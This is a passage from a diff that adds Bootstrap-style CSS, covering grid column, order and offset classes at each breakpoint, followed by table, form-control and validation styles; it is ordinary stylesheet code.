+  -ms-flex: 0 0 50%;
+  flex: 0 0 50%;
+  max-width: 50%;
+}
+
+.col-7 {
+  -ms-flex: 0 0 58.333333%;
+  flex: 0 0 58.333333%;
+  max-width: 58.333333%;
+}
+
+.col-8 {
+  -ms-flex: 0 0 66.666667%;
+  flex: 0 0 66.666667%;
+  max-width: 66.666667%;
+}
+
+.col-9 {
+  -ms-flex: 0 0 75%;
+  flex: 0 0 75%;
+  max-width: 75%;
+}
+
+.col-10 {
+  -ms-flex: 0 0 83.333333%;
+  flex: 0 0 83.333333%;
+  max-width: 83.333333%;
+}
+
+.col-11 {
+  -ms-flex: 0 0 91.666667%;
+  flex: 0 0 91.666667%;
+  max-width: 91.666667%;
+}
+
+.col-12 {
+  -ms-flex: 0 0 100%;
+  flex: 0 0 100%;
+  max-width: 100%;
+}
+
+.order-first {
+  -ms-flex-order: -1;
+  order: -1;
+}
+
+.order-last {
+  -ms-flex-order: 13;
+  order: 13;
+}
+
+.order-0 {
+  -ms-flex-order: 0;
+  order: 0;
+}
+
+.order-1 {
+  -ms-flex-order: 1;
+  order: 1;
+}
+
+.order-2 {
+  -ms-flex-order: 2;
+  order: 2;
+}
+
+.order-3 {
+  -ms-flex-order: 3;
+  order: 3;
+}
+
+.order-4 {
+  -ms-flex-order: 4;
+  order: 4;
+}
+
+.order-5 {
+  -ms-flex-order: 5;
+  order: 5;
+}
+
+.order-6 {
+  -ms-flex-order: 6;
+  order: 6;
+}
+
+.order-7 {
+  -ms-flex-order: 7;
+  order: 7;
+}
+
+.order-8 {
+  -ms-flex-order: 8;
+  order: 8;
+}
+
+.order-9 {
+  -ms-flex-order: 9;
+  order: 9;
+}
+
+.order-10 {
+  -ms-flex-order: 10;
+  order: 10;
+}
+
+.order-11 {
+  -ms-flex-order: 11;
+  order: 11;
+}
+
+.order-12 {
+  -ms-flex-order: 12;
+  order: 12;
+}
+
+.offset-1 {
+  margin-left: 8.333333%;
+}
+
+.offset-2 {
+  margin-left: 16.666667%;
+}
+
+.offset-3 {
+  margin-left: 25%;
+}
+
+.offset-4 {
+  margin-left: 33.333333%;
+}
+
+.offset-5 {
+  margin-left: 41.666667%;
+}
+
+.offset-6 {
+  margin-left: 50%;
+}
+
+.offset-7 {
+  margin-left: 58.333333%;
+}
+
+.offset-8 {
+  margin-left: 66.666667%;
+}
+
+.offset-9 {
+  margin-left: 75%;
+}
+
+.offset-10 {
+  margin-left: 83.333333%;
+}
+
+.offset-11 {
+  margin-left: 91.666667%;
+}
+
+@media (min-width: 576px) {
+  .col-sm {
+    -ms-flex-preferred-size: 0;
+    flex-basis: 0;
+    -ms-flex-positive: 1;
+    flex-grow: 1;
+    max-width: 100%;
+  }
+  .col-sm-auto {
+    -ms-flex: 0 0 auto;
+    flex: 0 0 auto;
+    width: auto;
+    max-width: none;
+  }
+  .col-sm-1 {
+    -ms-flex: 0 0 8.333333%;
+    flex: 0 0 8.333333%;
+    max-width: 8.333333%;
+  }
+  .col-sm-2 {
+    -ms-flex: 0 0 16.666667%;
+    flex: 0 0 16.666667%;
+    max-width: 16.666667%;
+  }
+  .col-sm-3 {
+    -ms-flex: 0 0 25%;
+    flex: 0 0 25%;
+    max-width: 25%;
+  }
+  .col-sm-4 {
+    -ms-flex: 0 0 33.333333%;
+    flex: 0 0 33.333333%;
+    max-width: 33.333333%;
+  }
+  .col-sm-5 {
+    -ms-flex: 0 0 41.666667%;
+    flex: 0 0 41.666667%;
+    max-width: 41.666667%;
+  }
+  .col-sm-6 {
+    -ms-flex: 0 0 50%;
+    flex: 0 0 50%;
+    max-width: 50%;
+  }
+  .col-sm-7 {
+    -ms-flex: 0 0 58.333333%;
+    flex: 0 0 58.333333%;
+    max-width: 58.333333%;
+  }
+  .col-sm-8 {
+    -ms-flex: 0 0 66.666667%;
+    flex: 0 0 66.666667%;
+    max-width: 66.666667%;
+  }
+  .col-sm-9 {
+    -ms-flex: 0 0 75%;
+    flex: 0 0 75%;
+    max-width: 75%;
+  }
+  .col-sm-10 {
+    -ms-flex: 0 0 83.333333%;
+    flex: 0 0 83.333333%;
+    max-width: 83.333333%;
+  }
+  .col-sm-11 {
+    -ms-flex: 0 0 91.666667%;
+    flex: 0 0 91.666667%;
+    max-width: 91.666667%;
+  }
+  .col-sm-12 {
+    -ms-flex: 0 0 100%;
+    flex: 0 0 100%;
+    max-width: 100%;
+  }
+  .order-sm-first {
+    -ms-flex-order: -1;
+    order: -1;
+  }
+  .order-sm-last {
+    -ms-flex-order: 13;
+    order: 13;
+  }
+  .order-sm-0 {
+    -ms-flex-order: 0;
+    order: 0;
+  }
+  .order-sm-1 {
+    -ms-flex-order: 1;
+    order: 1;
+  }
+  .order-sm-2 {
+    -ms-flex-order: 2;
+    order: 2;
+  }
+  .order-sm-3 {
+    -ms-flex-order: 3;
+    order: 3;
+  }
+  .order-sm-4 {
+    -ms-flex-order: 4;
+    order: 4;
+  }
+  .order-sm-5 {
+    -ms-flex-order: 5;
+    order: 5;
+  }
+  .order-sm-6 {
+    -ms-flex-order: 6;
+    order: 6;
+  }
+  .order-sm-7 {
+    -ms-flex-order: 7;
+    order: 7;
+  }
+  .order-sm-8 {
+    -ms-flex-order: 8;
+    order: 8;
+  }
+  .order-sm-9 {
+    -ms-flex-order: 9;
+    order: 9;
+  }
+  .order-sm-10 {
+    -ms-flex-order: 10;
+    order: 10;
+  }
+  .order-sm-11 {
+    -ms-flex-order: 11;
+    order: 11;
+  }
+  .order-sm-12 {
+    -ms-flex-order: 12;
+    order: 12;
+  }
+  .offset-sm-0 {
+    margin-left: 0;
+  }
+  .offset-sm-1 {
+    margin-left: 8.333333%;
+  }
+  .offset-sm-2 {
+    margin-left: 16.666667%;
+  }
+  .offset-sm-3 {
+    margin-left: 25%;
+  }
+  .offset-sm-4 {
+    margin-left: 33.333333%;
+  }
+  .offset-sm-5 {
+    margin-left: 41.666667%;
+  }
+  .offset-sm-6 {
+    margin-left: 50%;
+  }
+  .offset-sm-7 {
+    margin-left: 58.333333%;
+  }
+  .offset-sm-8 {
+    margin-left: 66.666667%;
+  }
+  .offset-sm-9 {
+    margin-left: 75%;
+  }
+  .offset-sm-10 {
+    margin-left: 83.333333%;
+  }
+  .offset-sm-11 {
+    margin-left: 91.666667%;
+  }
+}
+
+@media (min-width: 768px) {
+  .col-md {
+    -ms-flex-preferred-size: 0;
+    flex-basis: 0;
+    -ms-flex-positive: 1;
+    flex-grow: 1;
+    max-width: 100%;
+  }
+  .col-md-auto {
+    -ms-flex: 0 0 auto;
+    flex: 0 0 auto;
+    width: auto;
+    max-width: none;
+  }
+  .col-md-1 {
+    -ms-flex: 0 0 8.333333%;
+    flex: 0 0 8.333333%;
+    max-width: 8.333333%;
+  }
+  .col-md-2 {
+    -ms-flex: 0 0 16.666667%;
+    flex: 0 0 16.666667%;
+    max-width: 16.666667%;
+  }
+  .col-md-3 {
+    -ms-flex: 0 0 25%;
+    flex: 0 0 25%;
+    max-width: 25%;
+  }
+  .col-md-4 {
+    -ms-flex: 0 0 33.333333%;
+    flex: 0 0 33.333333%;
+    max-width: 33.333333%;
+  }
+  .col-md-5 {
+    -ms-flex: 0 0 41.666667%;
+    flex: 0 0 41.666667%;
+    max-width: 41.666667%;
+  }
+  .col-md-6 {
+    -ms-flex: 0 0 50%;
+    flex: 0 0 50%;
+    max-width: 50%;
+  }
+  .col-md-7 {
+    -ms-flex: 0 0 58.333333%;
+    flex: 0 0 58.333333%;
+    max-width: 58.333333%;
+  }
+  .col-md-8 {
+    -ms-flex: 0 0 66.666667%;
+    flex: 0 0 66.666667%;
+    max-width: 66.666667%;
+  }
+  .col-md-9 {
+    -ms-flex: 0 0 75%;
+    flex: 0 0 75%;
+    max-width: 75%;
+  }
+  .col-md-10 {
+    -ms-flex: 0 0 83.333333%;
+    flex: 0 0 83.333333%;
+    max-width: 83.333333%;
+  }
+  .col-md-11 {
+    -ms-flex: 0 0 91.666667%;
+    flex: 0 0 91.666667%;
+    max-width: 91.666667%;
+  }
+  .col-md-12 {
+    -ms-flex: 0 0 100%;
+    flex: 0 0 100%;
+    max-width: 100%;
+  }
+  .order-md-first {
+    -ms-flex-order: -1;
+    order: -1;
+  }
+  .order-md-last {
+    -ms-flex-order: 13;
+    order: 13;
+  }
+  .order-md-0 {
+    -ms-flex-order: 0;
+    order: 0;
+  }
+  .order-md-1 {
+    -ms-flex-order: 1;
+    order: 1;
+  }
+  .order-md-2 {
+    -ms-flex-order: 2;
+    order: 2;
+  }
+  .order-md-3 {
+    -ms-flex-order: 3;
+    order: 3;
+  }
+  .order-md-4 {
+    -ms-flex-order: 4;
+    order: 4;
+  }
+  .order-md-5 {
+    -ms-flex-order: 5;
+    order: 5;
+  }
+  .order-md-6 {
+    -ms-flex-order: 6;
+    order: 6;
+  }
+  .order-md-7 {
+    -ms-flex-order: 7;
+    order: 7;
+  }
+  .order-md-8 {
+    -ms-flex-order: 8;
+    order: 8;
+  }
+  .order-md-9 {
+    -ms-flex-order: 9;
+    order: 9;
+  }
+  .order-md-10 {
+    -ms-flex-order: 10;
+    order: 10;
+  }
+  .order-md-11 {
+    -ms-flex-order: 11;
+    order: 11;
+  }
+  .order-md-12 {
+    -ms-flex-order: 12;
+    order: 12;
+  }
+  .offset-md-0 {
+    margin-left: 0;
+  }
+  .offset-md-1 {
+    margin-left: 8.333333%;
+  }
+  .offset-md-2 {
+    margin-left: 16.666667%;
+  }
+  .offset-md-3 {
+    margin-left: 25%;
+  }
+  .offset-md-4 {
+    margin-left: 33.333333%;
+  }
+  .offset-md-5 {
+    margin-left: 41.666667%;
+  }
+  .offset-md-6 {
+    margin-left: 50%;
+  }
+  .offset-md-7 {
+    margin-left: 58.333333%;
+  }
+  .offset-md-8 {
+    margin-left: 66.666667%;
+  }
+  .offset-md-9 {
+    margin-left: 75%;
+  }
+  .offset-md-10 {
+    margin-left: 83.333333%;
+  }
+  .offset-md-11 {
+    margin-left: 91.666667%;
+  }
+}
+
+@media (min-width: 992px) {
+  .col-lg {
+    -ms-flex-preferred-size: 0;
+    flex-basis: 0;
+    -ms-flex-positive: 1;
+    flex-grow: 1;
+    max-width: 100%;
+  }
+  .col-lg-auto {
+    -ms-flex: 0 0 auto;
+    flex: 0 0 auto;
+    width: auto;
+    max-width: none;
+  }
+  .col-lg-1 {
+    -ms-flex: 0 0 8.333333%;
+    flex: 0 0 8.333333%;
+    max-width: 8.333333%;
+  }
+  .col-lg-2 {
+    -ms-flex: 0 0 16.666667%;
+    flex: 0 0 16.666667%;
+    max-width: 16.666667%;
+  }
+  .col-lg-3 {
+    -ms-flex: 0 0 25%;
+    flex: 0 0 25%;
+    max-width: 25%;
+  }
+  .col-lg-4 {
+    -ms-flex: 0 0 33.333333%;
+    flex: 0 0 33.333333%;
+    max-width: 33.333333%;
+  }
+  .col-lg-5 {
+    -ms-flex: 0 0 41.666667%;
+    flex: 0 0 41.666667%;
+    max-width: 41.666667%;
+  }
+  .col-lg-6 {
+    -ms-flex: 0 0 50%;
+    flex: 0 0 50%;
+    max-width: 50%;
+  }
+  .col-lg-7 {
+    -ms-flex: 0 0 58.333333%;
+    flex: 0 0 58.333333%;
+    max-width: 58.333333%;
+  }
+  .col-lg-8 {
+    -ms-flex: 0 0 66.666667%;
+    flex: 0 0 66.666667%;
+    max-width: 66.666667%;
+  }
+  .col-lg-9 {
+    -ms-flex: 0 0 75%;
+    flex: 0 0 75%;
+    max-width: 75%;
+  }
+  .col-lg-10 {
+    -ms-flex: 0 0 83.333333%;
+    flex: 0 0 83.333333%;
+    max-width: 83.333333%;
+  }
+  .col-lg-11 {
+    -ms-flex: 0 0 91.666667%;
+    flex: 0 0 91.666667%;
+    max-width: 91.666667%;
+  }
+  .col-lg-12 {
+    -ms-flex: 0 0 100%;
+    flex: 0 0 100%;
+    max-width: 100%;
+  }
+  .order-lg-first {
+    -ms-flex-order: -1;
+    order: -1;
+  }
+  .order-lg-last {
+    -ms-flex-order: 13;
+    order: 13;
+  }
+  .order-lg-0 {
+    -ms-flex-order: 0;
+    order: 0;
+  }
+  .order-lg-1 {
+    -ms-flex-order: 1;
+    order: 1;
+  }
+  .order-lg-2 {
+    -ms-flex-order: 2;
+    order: 2;
+  }
+  .order-lg-3 {
+    -ms-flex-order: 3;
+    order: 3;
+  }
+  .order-lg-4 {
+    -ms-flex-order: 4;
+    order: 4;
+  }
+  .order-lg-5 {
+    -ms-flex-order: 5;
+    order: 5;
+  }
+  .order-lg-6 {
+    -ms-flex-order: 6;
+    order: 6;
+  }
+  .order-lg-7 {
+    -ms-flex-order: 7;
+    order: 7;
+  }
+  .order-lg-8 {
+    -ms-flex-order: 8;
+    order: 8;
+  }
+  .order-lg-9 {
+    -ms-flex-order: 9;
+    order: 9;
+  }
+  .order-lg-10 {
+    -ms-flex-order: 10;
+    order: 10;
+  }
+  .order-lg-11 {
+    -ms-flex-order: 11;
+    order: 11;
+  }
+  .order-lg-12 {
+    -ms-flex-order: 12;
+    order: 12;
+  }
+  .offset-lg-0 {
+    margin-left: 0;
+  }
+  .offset-lg-1 {
+    margin-left: 8.333333%;
+  }
+  .offset-lg-2 {
+    margin-left: 16.666667%;
+  }
+  .offset-lg-3 {
+    margin-left: 25%;
+  }
+  .offset-lg-4 {
+    margin-left: 33.333333%;
+  }
+  .offset-lg-5 {
+    margin-left: 41.666667%;
+  }
+  .offset-lg-6 {
+    margin-left: 50%;
+  }
+  .offset-lg-7 {
+    margin-left: 58.333333%;
+  }
+  .offset-lg-8 {
+    margin-left: 66.666667%;
+  }
+  .offset-lg-9 {
+    margin-left: 75%;
+  }
+  .offset-lg-10 {
+    margin-left: 83.333333%;
+  }
+  .offset-lg-11 {
+    margin-left: 91.666667%;
+  }
+}
+
+@media (min-width: 1200px) {
+  .col-xl {
+    -ms-flex-preferred-size: 0;
+    flex-basis: 0;
+    -ms-flex-positive: 1;
+    flex-grow: 1;
+    max-width: 100%;
+  }
+  .col-xl-auto {
+    -ms-flex: 0 0 auto;
+    flex: 0 0 auto;
+    width: auto;
+    max-width: none;
+  }
+  .col-xl-1 {
+    -ms-flex: 0 0 8.333333%;
+    flex: 0 0 8.333333%;
+    max-width: 8.333333%;
+  }
+  .col-xl-2 {
+    -ms-flex: 0 0 16.666667%;
+    flex: 0 0 16.666667%;
+    max-width: 16.666667%;
+  }
+  .col-xl-3 {
+    -ms-flex: 0 0 25%;
+    flex: 0 0 25%;
+    max-width: 25%;
+  }
+  .col-xl-4 {
+    -ms-flex: 0 0 33.333333%;
+    flex: 0 0 33.333333%;
+    max-width: 33.333333%;
+  }
+  .col-xl-5 {
+    -ms-flex: 0 0 41.666667%;
+    flex: 0 0 41.666667%;
+    max-width: 41.666667%;
+  }
+  .col-xl-6 {
+    -ms-flex: 0 0 50%;
+    flex: 0 0 50%;
+    max-width: 50%;
+  }
+  .col-xl-7 {
+    -ms-flex: 0 0 58.333333%;
+    flex: 0 0 58.333333%;
+    max-width: 58.333333%;
+  }
+  .col-xl-8 {
+    -ms-flex: 0 0 66.666667%;
+    flex: 0 0 66.666667%;
+    max-width: 66.666667%;
+  }
+  .col-xl-9 {
+    -ms-flex: 0 0 75%;
+    flex: 0 0 75%;
+    max-width: 75%;
+  }
+  .col-xl-10 {
+    -ms-flex: 0 0 83.333333%;
+    flex: 0 0 83.333333%;
+    max-width: 83.333333%;
+  }
+  .col-xl-11 {
+    -ms-flex: 0 0 91.666667%;
+    flex: 0 0 91.666667%;
+    max-width: 91.666667%;
+  }
+  .col-xl-12 {
+    -ms-flex: 0 0 100%;
+    flex: 0 0 100%;
+    max-width: 100%;
+  }
+  .order-xl-first {
+    -ms-flex-order: -1;
+    order: -1;
+  }
+  .order-xl-last {
+    -ms-flex-order: 13;
+    order: 13;
+  }
+  .order-xl-0 {
+    -ms-flex-order: 0;
+    order: 0;
+  }
+  .order-xl-1 {
+    -ms-flex-order: 1;
+    order: 1;
+  }
+  .order-xl-2 {
+    -ms-flex-order: 2;
+    order: 2;
+  }
+  .order-xl-3 {
+    -ms-flex-order: 3;
+    order: 3;
+  }
+  .order-xl-4 {
+    -ms-flex-order: 4;
+    order: 4;
+  }
+  .order-xl-5 {
+    -ms-flex-order: 5;
+    order: 5;
+  }
+  .order-xl-6 {
+    -ms-flex-order: 6;
+    order: 6;
+  }
+  .order-xl-7 {
+    -ms-flex-order: 7;
+    order: 7;
+  }
+  .order-xl-8 {
+    -ms-flex-order: 8;
+    order: 8;
+  }
+  .order-xl-9 {
+    -ms-flex-order: 9;
+    order: 9;
+  }
+  .order-xl-10 {
+    -ms-flex-order: 10;
+    order: 10;
+  }
+  .order-xl-11 {
+    -ms-flex-order: 11;
+    order: 11;
+  }
+  .order-xl-12 {
+    -ms-flex-order: 12;
+    order: 12;
+  }
+  .offset-xl-0 {
+    margin-left: 0;
+  }
+  .offset-xl-1 {
+    margin-left: 8.333333%;
+  }
+  .offset-xl-2 {
+    margin-left: 16.666667%;
+  }
+  .offset-xl-3 {
+    margin-left: 25%;
+  }
+  .offset-xl-4 {
+    margin-left: 33.333333%;
+  }
+  .offset-xl-5 {
+    margin-left: 41.666667%;
+  }
+  .offset-xl-6 {
+    margin-left: 50%;
+  }
+  .offset-xl-7 {
+    margin-left: 58.333333%;
+  }
+  .offset-xl-8 {
+    margin-left: 66.666667%;
+  }
+  .offset-xl-9 {
+    margin-left: 75%;
+  }
+  .offset-xl-10 {
+    margin-left: 83.333333%;
+  }
+  .offset-xl-11 {
+    margin-left: 91.666667%;
+  }
+}
+
+.table {
+  width: 100%;
+  max-width: 100%;
+  margin-bottom: 1rem;
+  background-color: transparent;
+}
+
+.table th,
+.table td {
+  padding: 0.75rem;
+  vertical-align: top;
+  border-top: 1px solid #dee2e6;
+}
+
+.table thead th {
+  vertical-align: bottom;
+  border-bottom: 2px solid #dee2e6;
+}
+
+.table tbody + tbody {
+  border-top: 2px solid #dee2e6;
+}
+
+.table .table {
+  background-color: #fff;
+}
+
+.table-sm th,
+.table-sm td {
+  padding: 0.3rem;
+}
+
+.table-bordered {
+  border: 1px solid #dee2e6;
+}
+
+.table-bordered th,
+.table-bordered td {
+  border: 1px solid #dee2e6;
+}
+
+.table-bordered thead th,
+.table-bordered thead td {
+  border-bottom-width: 2px;
+}
+
+.table-borderless th,
+.table-borderless td,
+.table-borderless thead th,
+.table-borderless tbody + tbody {
+  border: 0;
+}
+
+.table-striped tbody tr:nth-of-type(odd) {
+  background-color: rgba(0, 0, 0, 0.05);
+}
+
+.table-hover tbody tr:hover {
+  background-color: rgba(0, 0, 0, 0.075);
+}
+
+.table-primary,
+.table-primary > th,
+.table-primary > td {
+  background-color: #b8daff;
+}
+
+.table-hover .table-primary:hover {
+  background-color: #9fcdff;
+}
+
+.table-hover .table-primary:hover > td,
+.table-hover .table-primary:hover > th {
+  background-color: #9fcdff;
+}
+
+.table-secondary,
+.table-secondary > th,
+.table-secondary > td {
+  background-color: #d6d8db;
+}
+
+.table-hover .table-secondary:hover {
+  background-color: #c8cbcf;
+}
+
+.table-hover .table-secondary:hover > td,
+.table-hover .table-secondary:hover > th {
+  background-color: #c8cbcf;
+}
+
+.table-success,
+.table-success > th,
+.table-success > td {
+  background-color: #c3e6cb;
+}
+
+.table-hover .table-success:hover {
+  background-color: #b1dfbb;
+}
+
+.table-hover .table-success:hover > td,
+.table-hover .table-success:hover > th {
+  background-color: #b1dfbb;
+}
+
+.table-info,
+.table-info > th,
+.table-info > td {
+  background-color: #bee5eb;
+}
+
+.table-hover .table-info:hover {
+  background-color: #abdde5;
+}
+
+.table-hover .table-info:hover > td,
+.table-hover .table-info:hover > th {
+  background-color: #abdde5;
+}
+
+.table-warning,
+.table-warning > th,
+.table-warning > td {
+  background-color: #ffeeba;
+}
+
+.table-hover .table-warning:hover {
+  background-color: #ffe8a1;
+}
+
+.table-hover .table-warning:hover > td,
+.table-hover .table-warning:hover > th {
+  background-color: #ffe8a1;
+}
+
+.table-danger,
+.table-danger > th,
+.table-danger > td {
+  background-color: #f5c6cb;
+}
+
+.table-hover .table-danger:hover {
+  background-color: #f1b0b7;
+}
+
+.table-hover .table-danger:hover > td,
+.table-hover .table-danger:hover > th {
+  background-color: #f1b0b7;
+}
+
+.table-light,
+.table-light > th,
+.table-light > td {
+  background-color: #fdfdfe;
+}
+
+.table-hover .table-light:hover {
+  background-color: #ececf6;
+}
+
+.table-hover .table-light:hover > td,
+.table-hover .table-light:hover > th {
+  background-color: #ececf6;
+}
+
+.table-dark,
+.table-dark > th,
+.table-dark > td {
+  background-color: #c6c8ca;
+}
+
+.table-hover .table-dark:hover {
+  background-color: #b9bbbe;
+}
+
+.table-hover .table-dark:hover > td,
+.table-hover .table-dark:hover > th {
+  background-color: #b9bbbe;
+}
+
+.table-active,
+.table-active > th,
+.table-active > td {
+  background-color: rgba(0, 0, 0, 0.075);
+}
+
+.table-hover .table-active:hover {
+  background-color: rgba(0, 0, 0, 0.075);
+}
+
+.table-hover .table-active:hover > td,
+.table-hover .table-active:hover > th {
+  background-color: rgba(0, 0, 0, 0.075);
+}
+
+.table .thead-dark th {
+  color: #fff;
+  background-color: #212529;
+  border-color: #32383e;
+}
+
+.table .thead-light th {
+  color: #495057;
+  background-color: #e9ecef;
+  border-color: #dee2e6;
+}
+
+.table-dark {
+  color: #fff;
+  background-color: #212529;
+}
+
+.table-dark th,
+.table-dark td,
+.table-dark thead th {
+  border-color: #32383e;
+}
+
+.table-dark.table-bordered {
+  border: 0;
+}
+
+.table-dark.table-striped tbody tr:nth-of-type(odd) {
+  background-color: rgba(255, 255, 255, 0.05);
+}
+
+.table-dark.table-hover tbody tr:hover {
+  background-color: rgba(255, 255, 255, 0.075);
+}
+
+@media (max-width: 575.98px) {
+  .table-responsive-sm {
+    display: block;
+    width: 100%;
+    overflow-x: auto;
+    -webkit-overflow-scrolling: touch;
+    -ms-overflow-style: -ms-autohiding-scrollbar;
+  }
+  .table-responsive-sm > .table-bordered {
+    border: 0;
+  }
+}
+
+@media (max-width: 767.98px) {
+  .table-responsive-md {
+    display: block;
+    width: 100%;
+    overflow-x: auto;
+    -webkit-overflow-scrolling: touch;
+    -ms-overflow-style: -ms-autohiding-scrollbar;
+  }
+  .table-responsive-md > .table-bordered {
+    border: 0;
+  }
+}
+
+@media (max-width: 991.98px) {
+  .table-responsive-lg {
+    display: block;
+    width: 100%;
+    overflow-x: auto;
+    -webkit-overflow-scrolling: touch;
+    -ms-overflow-style: -ms-autohiding-scrollbar;
+  }
+  .table-responsive-lg > .table-bordered {
+    border: 0;
+  }
+}
+
+@media (max-width: 1199.98px) {
+  .table-responsive-xl {
+    display: block;
+    width: 100%;
+    overflow-x: auto;
+    -webkit-overflow-scrolling: touch;
+    -ms-overflow-style: -ms-autohiding-scrollbar;
+  }
+  .table-responsive-xl > .table-bordered {
+    border: 0;
+  }
+}
+
+.table-responsive {
+  display: block;
+  width: 100%;
+  overflow-x: auto;
+  -webkit-overflow-scrolling: touch;
+  -ms-overflow-style: -ms-autohiding-scrollbar;
+}
+
+.table-responsive > .table-bordered {
+  border: 0;
+}
+
+.form-control {
+  display: block;
+  width: 100%;
+  padding: 0.375rem 0.75rem;
+  font-size: 1rem;
+  line-height: 1.5;
+  color: #495057;
+  background-color: #fff;
+  background-clip: padding-box;
+  border: 1px solid #ced4da;
+  border-radius: 0.25rem;
+  transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;
+}
+
+@media screen and (prefers-reduced-motion: reduce) {
+  .form-control {
+    transition: none;
+  }
+}
+
+.form-control::-ms-expand {
+  background-color: transparent;
+  border: 0;
+}
+
+.form-control:focus {
+  color: #495057;
+  background-color: #fff;
+  border-color: #80bdff;
+  outline: 0;
+  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);
+}
+
+.form-control::-webkit-input-placeholder {
+  color: #6c757d;
+  opacity: 1;
+}
+
+.form-control::-moz-placeholder {
+  color: #6c757d;
+  opacity: 1;
+}
+
+.form-control:-ms-input-placeholder {
+  color: #6c757d;
+  opacity: 1;
+}
+
+.form-control::-ms-input-placeholder {
+  color: #6c757d;
+  opacity: 1;
+}
+
+.form-control::placeholder {
+  color: #6c757d;
+  opacity: 1;
+}
+
+.form-control:disabled, .form-control[readonly] {
+  background-color: #e9ecef;
+  opacity: 1;
+}
+
+select.form-control:not([size]):not([multiple]) {
+  height: calc(2.25rem + 2px);
+}
+
+select.form-control:focus::-ms-value {
+  color: #495057;
+  background-color: #fff;
+}
+
+.form-control-file,
+.form-control-range {
+  display: block;
+  width: 100%;
+}
+
+.col-form-label {
+  padding-top: calc(0.375rem + 1px);
+  padding-bottom: calc(0.375rem + 1px);
+  margin-bottom: 0;
+  font-size: inherit;
+  line-height: 1.5;
+}
+
+.col-form-label-lg {
+  padding-top: calc(0.5rem + 1px);
+  padding-bottom: calc(0.5rem + 1px);
+  font-size: 1.25rem;
+  line-height: 1.5;
+}
+
+.col-form-label-sm {
+  padding-top: calc(0.25rem + 1px);
+  padding-bottom: calc(0.25rem + 1px);
+  font-size: 0.875rem;
+  line-height: 1.5;
+}
+
+.form-control-plaintext {
+  display: block;
+  width: 100%;
+  padding-top: 0.375rem;
+  padding-bottom: 0.375rem;
+  margin-bottom: 0;
+  line-height: 1.5;
+  color: #212529;
+  background-color: transparent;
+  border: solid transparent;
+  border-width: 1px 0;
+}
+
+.form-control-plaintext.form-control-sm, .input-group-sm > .form-control-plaintext.form-control,
+.input-group-sm > .input-group-prepend > .form-control-plaintext.input-group-text,
+.input-group-sm > .input-group-append > .form-control-plaintext.input-group-text,
+.input-group-sm > .input-group-prepend > .form-control-plaintext.btn,
+.input-group-sm > .input-group-append > .form-control-plaintext.btn, .form-control-plaintext.form-control-lg, .input-group-lg > .form-control-plaintext.form-control,
+.input-group-lg > .input-group-prepend > .form-control-plaintext.input-group-text,
+.input-group-lg > .input-group-append > .form-control-plaintext.input-group-text,
+.input-group-lg > .input-group-prepend > .form-control-plaintext.btn,
+.input-group-lg > .input-group-append > .form-control-plaintext.btn {
+  padding-right: 0;
+  padding-left: 0;
+}
+
+.form-control-sm, .input-group-sm > .form-control,
+.input-group-sm > .input-group-prepend > .input-group-text,
+.input-group-sm > .input-group-append > .input-group-text,
+.input-group-sm > .input-group-prepend > .btn,
+.input-group-sm > .input-group-append > .btn {
+  padding: 0.25rem 0.5rem;
+  font-size: 0.875rem;
+  line-height: 1.5;
+  border-radius: 0.2rem;
+}
+
+select.form-control-sm:not([size]):not([multiple]), .input-group-sm > select.form-control:not([size]):not([multiple]),
+.input-group-sm > .input-group-prepend > select.input-group-text:not([size]):not([multiple]),
+.input-group-sm > .input-group-append > select.input-group-text:not([size]):not([multiple]),
+.input-group-sm > .input-group-prepend > select.btn:not([size]):not([multiple]),
+.input-group-sm > .input-group-append > select.btn:not([size]):not([multiple]) {
+  height: calc(1.8125rem + 2px);
+}
+
+.form-control-lg, .input-group-lg > .form-control,
+.input-group-lg > .input-group-prepend > .input-group-text,
+.input-group-lg > .input-group-append > .input-group-text,
+.input-group-lg > .input-group-prepend > .btn,
+.input-group-lg > .input-group-append > .btn {
+  padding: 0.5rem 1rem;
+  font-size: 1.25rem;
+  line-height: 1.5;
+  border-radius: 0.3rem;
+}
+
+select.form-control-lg:not([size]):not([multiple]), .input-group-lg > select.form-control:not([size]):not([multiple]),
+.input-group-lg > .input-group-prepend > select.input-group-text:not([size]):not([multiple]),
+.input-group-lg > .input-group-append > select.input-group-text:not([size]):not([multiple]),
+.input-group-lg > .input-group-prepend > select.btn:not([size]):not([multiple]),
+.input-group-lg > .input-group-append > select.btn:not([size]):not([multiple]) {
+  height: calc(2.875rem + 2px);
+}
+
+.form-group {
+  margin-bottom: 1rem;
+}
+
+.form-text {
+  display: block;
+  margin-top: 0.25rem;
+}
+
+.form-row {
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-wrap: wrap;
+  flex-wrap: wrap;
+  margin-right: -5px;
+  margin-left: -5px;
+}
+
+.form-row > .col,
+.form-row > [class*="col-"] {
+  padding-right: 5px;
+  padding-left: 5px;
+}
+
+.form-check {
+  position: relative;
+  display: block;
+  padding-left: 1.25rem;
+}
+
+.form-check-input {
+  position: absolute;
+  margin-top: 0.3rem;
+  margin-left: -1.25rem;
+}
+
+.form-check-input:disabled ~ .form-check-label {
+  color: #6c757d;
+}
+
+.form-check-label {
+  margin-bottom: 0;
+}
+
+.form-check-inline {
+  display: -ms-inline-flexbox;
+  display: inline-flex;
+  -ms-flex-align: center;
+  align-items: center;
+  padding-left: 0;
+  margin-right: 0.75rem;
+}
+
+.form-check-inline .form-check-input {
+  position: static;
+  margin-top: 0;
+  margin-right: 0.3125rem;
+  margin-left: 0;
+}
+
+.valid-feedback {
+  display: none;
+  width: 100%;
+  margin-top: 0.25rem;
+  font-size: 80%;
+  color: #28a745;
+}
+
+.valid-tooltip {
+  position: absolute;
+  top: 100%;
+  z-index: 5;
+  display: none;
+  max-width: 100%;
+  padding: .5rem;
+  margin-top: .1rem;
+  font-size: .875rem;
+  line-height: 1;
+  color: #fff;
+  background-color: rgba(40, 167, 69, 0.8);
+  border-radius: .2rem;
+}
+
+.was-validated .form-control:valid, .form-control.is-valid, .was-validated
+.custom-select:valid,
+.custom-select.is-valid {
+  border-color: #28a745;
+}
+
+.was-validated .form-control:valid:focus, .form-control.is-valid:focus, .was-validated
+.custom-select:valid:focus,
+.custom-select.is-valid:focus {
+  border-color: #28a745;
+  box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25);
+}
+
+.was-validated .form-control:valid ~ .valid-feedback,
+.was-validated .form-control:valid ~ .valid-tooltip, .form-control.is-valid ~ .valid-feedback,
+.form-control.is-valid ~ .valid-tooltip, .was-validated
